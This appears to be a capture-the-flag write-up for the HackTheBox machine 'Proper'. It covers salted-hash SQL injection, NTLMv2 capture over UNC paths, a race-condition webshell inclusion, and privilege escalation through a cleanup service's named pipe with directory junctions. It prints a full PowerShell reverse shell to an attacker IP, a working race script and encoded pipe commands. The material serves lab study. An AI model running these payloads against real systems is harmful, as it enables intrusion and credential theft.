HTB: Proper Writeup

Proper - HackTheBox Writeup

Machine Information

AttributeDetails
NameProper
OSWindows
DifficultyHard
Points40
Release Date15 Nov 2020
IP Address10.129.44.110
Authorxct & jkr

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Proper is a hard-difficulty Windows machine running an IIS web application for “OS Tidy Inc.” The initial foothold requires exploiting a salted-hash SQL injection vulnerability in an AJAX endpoint that leaks a secret salt (hie0shah6ooNoim). After dumping credentials and logging into a license portal, a race condition in the theme inclusion mechanism (secure_include) allows authenticated SMB-based remote file inclusion to achieve code execution as proper\web. Privilege escalation leverages a custom Cleanup service running as SYSTEM that exposes a named pipe (cleanupPipe) for privileged file operations. By exploiting CLEAN/RESTORE commands with filename truncation, a directory junction attack enables reading root.txt from the Administrator’s desktop via a backup-and-restore sequence.

TL;DR: SQLi with leaked salt → authenticated SMB RFI via race condition → proper\web shell → Cleanup service named pipe (CLEAN/RESTORE) + directory junction → read root.txt as SYSTEM.


Reconnaissance

Port Scanning

Terminal window
# Initial scan revealed port 80 (IIS)
nmap -sC -sV -T4 -p- 10.129.44.110

Results:

  • Port 80/tcp: Microsoft IIS (HTTP)

Service Enumeration

IIS (Port 80)

Browsing to http://10.129.44.110 reveals an e-commerce application for “OS Tidy Inc.” The main page displays products loaded via AJAX. Directory fuzzing uncovered a /licenses folder requiring authentication.

AJAX Endpoint Discovery

The product listing is loaded via:

GET /products-ajax.php?order=id+desc&h=<redacted>

The h parameter appears to be a hash protecting the order query parameter.

Vulnerability Assessment

  1. Leaked Secret Salt: Omitting the h parameter triggers a stack trace that discloses:

    define('SECURE_PARAM_SALT','hie0shah6ooNoim')

    This reveals the hash format: md5(salt + order_value).

  2. SQL Injection: The order parameter is vulnerable to SQL injection. The hash must be computed as md5('hie0shah6ooNoim' + order_query) where spaces in the query are preserved (e.g., id desc not id+desc).

  3. Theme Parameter LFI/RFI: The /licenses/licenses.php?theme=...&h=... endpoint uses file_get_contents() to check for <? tags, then include() to load theme/header.inc. This creates a time-of-check-time-of-use (TOCTOU) race condition.

  4. Authenticated SMB Required: HTTP wrappers are disabled, but UNC paths (\\LHOST\share) work. Initial UNC request without authentication leaks the NTLMv2 hash of user web.


Initial Foothold

SQL Injection with Salted Hash

The products-ajax.php endpoint requires a valid MD5 hash computed from the salt and the query value.

Generate valid hash:

import hashlib
salt = 'hie0shah6ooNoim'
order = 'id desc' # note: space, not +
h = hashlib.md5((salt + order).encode()).hexdigest()
print(h) # <redacted>

SQLMap exploitation (with custom hash evaluation):

Terminal window
# Enumerate databases
sqlmap -u 'http://10.129.44.110/products-ajax.php?order=id+desc&h=<hash>' \
--eval="import hashlib; h=hashlib.md5('hie0shah6ooNoim'.encode()+order.encode()).hexdigest()" \
--dbms MySQL --dbs --threads 10
# Dump cleaner.customers table
sqlmap -u 'http://10.129.44.110/products-ajax.php?order=id+desc&h=<hash>' \
--eval="import hashlib; h=hashlib.md5('hie0shah6ooNoim'.encode()+order.encode()).hexdigest()" \
--dbms MySQL -D cleaner -T customers --dump --threads 10

Why this works: The application appends the salt before the user input and hashes it. SQLMap’s --eval dynamically recomputes the hash for each injection payload, bypassing the HMAC-like protection.

Retrieved credentials:

29 email/MD5 pairs were dumped. All MD5 hashes cracked to common passwords using rockyou.txt:

Terminal window
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

Example credentials:

  • vikki.solomon@throwaway.mail:password1

Any valid credential allows login to /licenses/.

Authenticated SMB-Based RFI via Race Condition

After logging in with vikki.solomon@throwaway.mail:password1, the license portal offers theme selection via:

GET /licenses/licenses.php?theme=darkly&h=<md5(salt+theme)>

The backend performs:

  1. file_get_contents($theme . '/header.inc') → checks for <? tag
  2. If clean, include($theme . '/header.inc') → executes PHP

Initial UNC path test (URL-encoded \\10.10.15.180\test):

theme=%5C%5C10.10.15.180%5Ctest

This captured the NTLMv2 hash of user web:

Terminal window
# On attacker (Kali)
sudo impacket-smbserver -smb2support test /dev/shm/share

Crack captured hash:

Terminal window
john --format=netntlmv2 web.hash
# Result: web:charlotte123!

Why this works: Windows IIS processes UNC paths for file inclusion. The initial request without SMB authentication triggers NTLM negotiation, leaking the hash.

Race Condition Exploitation

The secure_include function has a TOCTOU vulnerability:

  1. file_get_contents() reads and checks for <?
  2. File can be swapped before include() executes

Setup authenticated SMB server:

Terminal window
# Create share directory with benign and malicious files
cd /dev/shm
mkdir share
fallocate -l 1M share/header.inc # benign 1MB file
printf '<?php system($_GET["c"]); ?>' > pwn.inc # webshell
# Start authenticated SMB server
impacket-smbserver -smb2support -username web -password 'charlotte123!' test /dev/shm/share

Payload preparation (PowerShell reverse shell):

Terminal window
# Base64-encode UTF-16LE PowerShell reverse shell
PS='$client = New-Object System.Net.Sockets.TCPClient("10.10.15.180",1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbytes = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbytes,0,$sendbytes.Length);$stream.Flush()};$client.Close()'
echo -n "$PS" | iconv -t UTF-16LE | base64 -w0 > /dev/shm/ps_b64.txt

Race script (race2.sh):

#!/bin/bash
cd /dev/shm
# Fresh session cookie
curl -s -c cj.txt "http://10.129.44.110/licenses/" \
-d "username=vikki.solomon@throwaway.mail&password=password1" >/dev/null
B64=$(cat /dev/shm/ps_b64.txt)
URL="http://10.129.44.110/licenses/licenses.php"
H="<hash>" # md5('hie0shah6ooNoim' + '\\10.10.15.180\test')
THEME='\\10.10.15.180\test'
# Create small benign file (no <?)
printf 'AAAAAAAAAAAAAAAAAAAAAAAAAAAA' > ben.inc
# Toggler: rapidly swap header.inc between benign and webshell
(
while [ ! -f /dev/shm/STOP ]; do
cp ben.inc share/header.inc 2>/dev/null
cp pwn.inc share/header.inc 2>/dev/null
done
) &
TOGGLE=$!
# Hammer requests with webshell command
for i in $(seq 1 20000); do
[ -f /dev/shm/STOP ] && break
curl -s -m 8 -b cj.txt -G "$URL" \
--data-urlencode "theme=$THEME" \
--data-urlencode "h=$H" \
--data-urlencode "c=powershell -e $B64" >/dev/null 2>&1 &
# Limit concurrency
if (( i % 12 == 0 )); then wait; fi
# Refresh cookie periodically
if (( i % 400 == 0 )); then
curl -s -c cj.txt "http://10.129.44.110/licenses/" \
-d "username=vikki.solomon@throwaway.mail&password=password1" >/dev/null 2>&1
fi
done
wait
kill $TOGGLE 2>/dev/null
echo "RACE2 DONE i=$i"

Execution:

Terminal window
# Start listener in tmux session
tmux new-session -d -s pwn 'nc -lvnp 1234; exec bash'
# Launch race script in background
nohup bash race2.sh >race2_out.log 2>&1 </dev/null & disown
# Monitor for connection
until tmux capture-pane -t pwn -p 2>/dev/null | grep -qi "connect to"; do
sleep 2
done

Why this works: The small benign file (28 bytes) is quickly validated by file_get_contents(). The toggler script swaps it with the PHP webshell (pwn.inc) before include() executes. With ~12 concurrent requests, the race wins within seconds to minutes. Using small equal-sized files (instead of 1MB + inotify) improves the win rate for blind toggling over SMB.

Result:

listening on [any] 1234 ...
connect to [10.10.15.180] from (UNKNOWN) [10.129.44.110] 65145
whoami
proper\web
hostname
Proper

User flag:

Terminal window
type C:\users\web\desktop\user.txt
<redacted>

Privilege Escalation

Enumeration: Cleanup Service

Enumeration revealed a custom service in C:\Program Files\Cleanup:

Terminal window
dir "C:\Program Files\Cleanup"
# client.exe (2,999,808 bytes)
# server.exe (3,041,792 bytes)
# README.md (174 bytes)

README.md contents:

# Cleanup
- 31.10.2020 - Alpha Release
## Todo
- Create an awesome GUI
- Check additional paths

Named pipe discovery:

Terminal window
cmd /c "dir \\.\pipe\ | findstr -i clean"
# cleanupPipe

The service exposes a named pipe (cleanupPipe) for inter-process communication.

Cleanup Service Analysis

The service implements two commands:

  1. CLEAN: Backs up a file to C:\ProgramData\cleanup\<base64(path)> (as an encoded blob), then deletes the original
  2. RESTORE: Decodes the blob from <base64(path)> and writes it back to the original path

Key vulnerabilities:

  1. CLEAN runs as SYSTEM: Can read any file (e.g., C:\Users\Administrator\Desktop\root.txt)
  2. Last character truncation: The pipe protocol truncates the last character of the path → append an extra character (e.g., root.txtX)
  3. No age check in pipe: Unlike client.exe (which only cleans 30-day-old files), direct pipe commands accept any file
  4. Privileged write via RESTORE: SYSTEM writes the decoded blob to the target path

Exploitation Strategy

Use a directory junction to trick CLEAN into reading root.txt, then restore it to a user-owned location:

  1. Create junction: C:\Users\web\Downloads\testC:\Users\Administrator\Desktop
  2. CLEAN C:\Users\web\Downloads\test\root.txtX (SYSTEM reads via junction)
  3. Remove junction, create real directory test
  4. RESTORE C:\Users\web\Downloads\test\root.txtX (SYSTEM writes to owned dir)
  5. Read the restored flag

Named Pipe Client Implementation

Why cmd /c echo fails: The command silently fails because Windows treats the pipe path incorrectly. Instead, use .NET’s System.IO.Pipes.NamedPipeClientStream:

# Generate PowerShell pipe client (base64-encoded UTF-16LE)
import base64
def enc(msg):
script = (
'$p = New-Object System.IO.Pipes.NamedPipeClientStream(".",'
'"cleanupPipe",[System.IO.Pipes.PipeDirection]::Out);'
'$p.Connect(5000);'
'$w = New-Object System.IO.StreamWriter($p);'
'$w.AutoFlush=$true;'
f"$w.Write('{msg}');"
'$w.Flush();'
'Start-Sleep -Milliseconds 800;'
'$p.Dispose();'
"Write-Output 'SENT'"
)
return base64.b64encode(script.encode('utf-16-le')).decode()
# Generate CLEAN command for root.txt (via junction)
clean_b64 = enc(r"CLEAN c:\Users\web\Downloads\test\root.txtX")
print(f"powershell -enc {clean_b64}")

Step-by-Step Privilege Escalation

1. Create directory junction:

\Users\Administrator\Desktop
cmd /c rmdir C:\Users\web\Downloads\test 2>nul
cmd /c mklink /j C:\Users\web\Downloads\test C:\Users\Administrator\Desktop

2. CLEAN root.txt via junction:

Terminal window
# Send via encoded pipe client
powershell -enc JABwACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAFAAaQBwAGUAcwAuAE4AYQBtAGUAZABQAGkAcABlAEMAbABpAGUAbgB0AFMAdAByAGUAYQBtACgAIgAuACIALAAiAGMAbABlAGEAbgB1AHAAUABpAHAAZQAiACwAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAaQBwAGUAcwAuAFAAaQBwAGUARABpAHIAZQBjAHQAaQBvAG4AXQA6ADoATwB1AHQAKQA7ACQAcAAuAEMAbwBuAG4AZQBjAHQAKAA1ADAAMAAwACkAOwAkAHcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AUwB0AHIAZQBhAG0AVwByAGkAdABlAHIAKAAkAHAAKQA7ACQAdwAuAEEAdQB0AG8ARgBsAHUAcwBoAD0AJAB0AHIAdQBlADsAJAB3AC4AVwByAGkAdABlACgAJwBDAEwARQBBAE4AIABjADoAXABVAHMAZQByAHMAXAB3AGUAYgBcAEQAbwB3AG4AbABvAGEAZABzAFwAdABlAHMAdABcAHIAbwBvAHQALgB0AHgAdABYACcAKQA7ACQAdwAuAEYAbAB1AHMAaAAoACkAOwBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAE0AaQBsAGwAaQBzAGUAYwBvAG4AZABzACAAOAAwADAAOwAkAHAALgBEAGkAcwBwAG8AcwBlACgAKQA7AFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJwBTAEUATgBUACcA
# Output: SENT

3. Verify backup created:

Terminal window
cmd /c dir C:\ProgramData\cleanup
# YzpcVXNlcnNcd2ViXERvd25sb2Fkc1x0ZXN0XHJvb3QudHh0 (192 bytes)

Why this works: SYSTEM’s CLEAN handler follows the junction symlink to C:\Users\Administrator\Desktop\root.txt, reads it, and backs up the encoded blob to C:\ProgramData\cleanup\<base64(junction_path)>. The filename truncation (root.txtXroot.txt) ensures the correct file is targeted.

4. Replace junction with real directory:

Terminal window
cmd /c rmdir C:\Users\web\Downloads\test
cmd /c mkdir C:\Users\web\Downloads\test

5. RESTORE root.txt to owned directory:

# Generate RESTORE command
restore_b64 = enc(r"RESTORE c:\Users\web\Downloads\test\root.txtX")
print(f"powershell -enc {restore_b64}")
Terminal window
powershell -enc JABwACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAFAAaQBwAGUAcwAuAE4AYQBtAGUAZABQAGkAcABlAEMAbABpAGUAbgB0AFMAdAByAGUAYQBtACgAIgAuACIALAAiAGMAbABlAGEAbgB1AHAAUABpAHAAZQAiACwAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAaQBwAGUAcwAuAFAAaQBwAGUARABpAHIAZQBjAHQAaQBvAG4AXQA6ADoATwB1AHQAKQA7ACQAcAAuAEMAbwBuAG4AZQBjAHQAKAA1ADAAMAAwACkAOwAkAHcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AUwB0AHIAZQBhAG0AVwByAGkAdABlAHIAKAAkAHAAKQA7ACQAdwAuAEEAdQB0AG8ARgBsAHUAcwBoAD0AJAB0AHIAdQBlADsAJAB3AC4AVwByAGkAdABlACgAJwBSAEUAUwBUAE8AUgBFACAAYwA6AFwAVQBzAGUAcgBzAFwAdwBlAGIAXABEAG8AdwBuAGwAbwBhAGQAcwBcAHQAZQBzAHQAXAByAG8AbwB0AC4AdAB4AHQAWAAnACkAOwAkAHcALgBGAGwAdQBzAGgAKAApADsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBNAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAgADgAMAAwADsAJABwAC4ARABpAHMAcABvAHMAZQAoACkAOwBXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUwBFAE4AVAAnAA==
# Output: SENT

6. Read root flag:

Terminal window
type C:\Users\web\Downloads\test\root.txt
<redacted>

Why this works: RESTORE decodes the backup blob from C:\ProgramData\cleanup\<base64(path)> and writes it as SYSTEM to c:\Users\web\Downloads\test\root.txt. Since the junction was replaced with a real user-owned directory, the file is written with user permissions and becomes readable.

Alternative Methods (Not Used)

Windows Update Session Orchestrator DLL Hijacking:

  • CLEAN a backdoored WindowsCoreDeviceInfo.dll (with modified timestamp)
  • Rename backup to QzpcV2luZG93c1xTeXN0ZW0zMlxXaW5kb3dzQ29yZURldmljZUluZm8uZGxs
  • RESTORE to C:\Windows\System32\WindowsCoreDeviceInfo.dll
  • Trigger with usoclient StartInteractiveScan → SYSTEM bind shell on port 1337

Windows Error Reporting DLL Hijacking:

  • CLEAN a malicious phoneinfo.dll
  • RESTORE to C:\Windows\System32\phoneinfo.dll
  • Trigger with WerTrigger.exe → SYSTEM shell

Attack Chain Summary

Stack trace leak (SECURE_PARAM_SALT=hie0shah6ooNoim)
→ SQLi with salted hash (md5(salt+query))
→ Dump cleaner.customers (email/MD5)
→ Crack hashes (password1)
→ Login to /licenses
→ Theme parameter UNC path (\\LHOST\test)
→ Capture web NTLMv2 hash
→ Crack hash (web:charlotte123!)
→ Authenticated SMB server
→ Race condition (toggle header.inc: benign ↔ webshell)
→ RCE as proper\web
→ User flag
→ Enumerate Cleanup service (cleanupPipe named pipe)
→ .NET pipe client (CLEAN/RESTORE commands)
→ Directory junction (test → Administrator\Desktop)
→ CLEAN root.txtX (SYSTEM reads via junction)
→ Replace junction with real dir
→ RESTORE root.txtX (SYSTEM writes to owned dir)
→ Root flag

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
sqlmapAutomated SQL injection with custom hash eval
johnCracking MD5 and NTLMv2 hashes
impacket-smbserverHosting authenticated SMB share for RFI
curlHTTP requests and cookie management
tmuxManaging reverse shell session
nc (netcat)Reverse shell listener
python3Generating salted hashes and encoded payloads
iconv / base64Encoding PowerShell payloads (UTF-16LE)
Custom race scriptExploiting TOCTOU in secure_include
PowerShellNamed pipe client (NamedPipeClientStream)

Key Learnings

Techniques Practiced

  • Salted hash bypass in SQLi: When HMAC-like protection uses hash(salt + input) and the salt leaks, dynamic hash recomputation (SQLMap --eval) bypasses the protection
  • UNC path-based NTLM hash capture: IIS processing \\LHOST\share paths triggers NTLM authentication, leaking NTLMv2 hashes
  • TOCTOU race condition exploitation: When a check (e.g., file_get_contents()) and action (e.g., include()) operate on the same file with a time gap, rapidly swapping the file can bypass validation
  • Authenticated SMB for RFI: When HTTP wrappers are disabled but UNC paths work, SMB with credentials enables file inclusion
  • Named pipe enumeration and exploitation: Windows services often expose IPC via named pipes (\\.\pipe\<name>); .NET NamedPipeClientStream provides reliable programmatic access
  • Directory junction attacks: Junctions (mklink /j) redirect file operations; combining with privileged services (running as SYSTEM) enables unauthorized reads/writes
  • Filename truncation quirks: Path processing bugs (e.g., last-char truncation) can be exploited by appending dummy characters

Lessons Learned

  1. Always test for error disclosure: The stack trace leak was the critical first step. Default error pages in development/staging often expose secrets.

  2. Hash format matters: The hash used md5(salt + input) with a space in the SQL query (id desc), not + from URL encoding. Preserving exact input format is crucial for hash-based integrity checks.

  3. Race conditions require volume and speed: The TOCTOU window in secure_include was tiny. Success required:

    • Small files (28 bytes vs 1MB) to minimize I/O time
    • High concurrency (12 parallel requests)
    • Fast toggling (tight cp loop with no delays)
    • Session cookie refresh (to avoid 401 errors mid-race)
  4. UNC paths ≠ HTTP URLs: When RFI filtering blocks http://, try \\ UNC paths. Windows file functions often accept SMB shares. Use backslashes (\\LHOST\share), not forward slashes.

  5. Pipe communication is fragile: cmd /c echo ... >\\.\pipe\... silently fails due to redirection issues. Use dedicated pipe clients (PowerShell .NET, C# apps) for reliability.

  6. Symlinks and junctions are powerful: On Windows, junctions (mklink /j) redirect SYSTEM-level file operations. Combined with privileged services, they enable:

    • Arbitrary reads (SYSTEM reads protected file via junction → backup)
    • Arbitrary writes (restore to junction-then-replaced directory)
  7. Filename handling bugs are exploitable: The last-character truncation in the Cleanup service was subtle but critical. Always test edge cases in path parsing (trailing chars, special chars, length limits).

  8. Backup/restore features = read/write primitives: When a SYSTEM service backs up files (CLEAN) and restores them (RESTORE), it’s effectively a privileged read/write primitive. Controlling the path (via truncation, base64 manipulation, or symlinks) grants arbitrary file access.

  9. Patience in CTF automation: The race condition took multiple attempts (~2 minutes of hammering). Automated exploitation often requires:

    • Background watchers (to detect success and stop loops)
    • Resource cleanup (kill togglers, stop SMB servers)
    • Retry logic (re-login, fresh cookies)
  10. tmux for interactive shell management: Driving a Windows PowerShell reverse shell over netcat via tmux send-keys and tmux capture-pane from a remote jump box is clunky but effective. It allows:

    • Non-blocking command execution
    • Output parsing for automation
    • Persistent sessions across SSH disconnects

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

This writeup drew structural and explanatory guidance from the official HackTheBox writeup for Proper by xct & jkr, particularly regarding the secure_include race condition mechanics, the Cleanup service reverse engineering details, and alternative privilege escalation vectors (UsoDllLoader, WerTrigger). All specific commands, outputs, IP addresses, credentials, and flag values are from the author’s independent solve.